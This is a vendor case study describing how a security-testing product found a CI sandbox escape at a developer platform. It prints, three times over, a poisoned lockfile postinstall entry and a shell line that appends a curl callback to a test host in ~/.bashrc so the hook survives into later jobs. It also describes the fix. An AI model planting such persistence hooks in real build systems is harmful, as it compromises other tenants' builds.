SANDBOX ESCAPE

How Fernway caught a CI sandbox escape on day one

A poisoned lockfile survived from one job to the next. Feint found it on its first run.

SANDBOX ESCAPE

How Fernway caught a CI sandbox escape on day one

A poisoned lockfile survived from one job to the next. Feint found it on its first run.

SANDBOX ESCAPE

How Fernway caught a CI sandbox escape on day one

A poisoned lockfile survived from one job to the next. Feint found it on its first run.

Day 1

to the first proven escape

−70%

bug bounty costs

1 PR

covered every variant of the escape

INDUSTRY

Developer platform with CI runners

STAGE

Series A · 30 engineers

LOCATION

Seattle, WA

SURFACE TESTED

CI

The situation

Fernway runs other companies’ builds, so runner isolation is the product. The team had a read-only sandbox and an active bug bounty, and assumed the obvious paths were closed.

The exploit

A poisoned lockfile convinced the build step to run a post-install script. The script wrote a shell hook to the runner’s home directory, which survived into the next job. Feint had the full chain on its first run.


# feint · poisoned lockfile entry
"left-pad-utils": {
  "version": "2.1.4",
  "scripts": { "postinstall": "sh ./setup.sh" }
}

# setup.sh plants a hook that outlives the job
echo 'curl -s https://cb.feint-test.dev/$RUNNER_NAME' >> ~/.bashrc

# next job on the same runner
->  callback received · runner ci-linux-07 · job 4412
# feint · poisoned lockfile entry
"left-pad-utils": {
  "version": "2.1.4",
  "scripts": { "postinstall": "sh ./setup.sh" }
}

# setup.sh plants a hook that outlives the job
echo 'curl -s https://cb.feint-test.dev/$RUNNER_NAME' >> ~/.bashrc

# next job on the same runner
->  callback received · runner ci-linux-07 · job 4412
# feint · poisoned lockfile entry
"left-pad-utils": {
  "version": "2.1.4",
  "scripts": { "postinstall": "sh ./setup.sh" }
}

# setup.sh plants a hook that outlives the job
echo 'curl -s https://cb.feint-test.dev/$RUNNER_NAME' >> ~/.bashrc

# next job on the same runner
->  callback received · runner ci-linux-07 · job 4412

The fix

One pull request cleaned the home directory between jobs and blocked install scripts by default. Fernway then rebuilt runner isolation around the same boundary.

What changed

Feint now re-runs the escape on every merge to the runner image. With the class of bug closed at the root, bug bounty costs dropped by 70%.

“It escaped our CI sandbox on day one. That was the best money we spent this year.”

Marcus Reyes

Platform Lead

GET STARTED

Run your first attack on your own code.

Point Feint at staging. Within the hour you’ll have a proven finding, or a clean report you can show your auditor.

No credit card · First exploit within the hour

GET STARTED

Run your first attack on your own code.

Point Feint at staging. Within the hour you’ll have a proven finding, or a clean report you can show your auditor.

No credit card · First exploit within the hour

GET STARTED

Run your first attack on your own code.

Point Feint at staging. Within the hour you’ll have a proven finding, or a clean report you can show your auditor.

No credit card · First exploit within the hour

© 2026 Feint, Inc.

SOC 2 in progress · HIPAA · GDPR · Made in Framer

Create a free website with Framer, the website builder loved by startups, designers and agencies.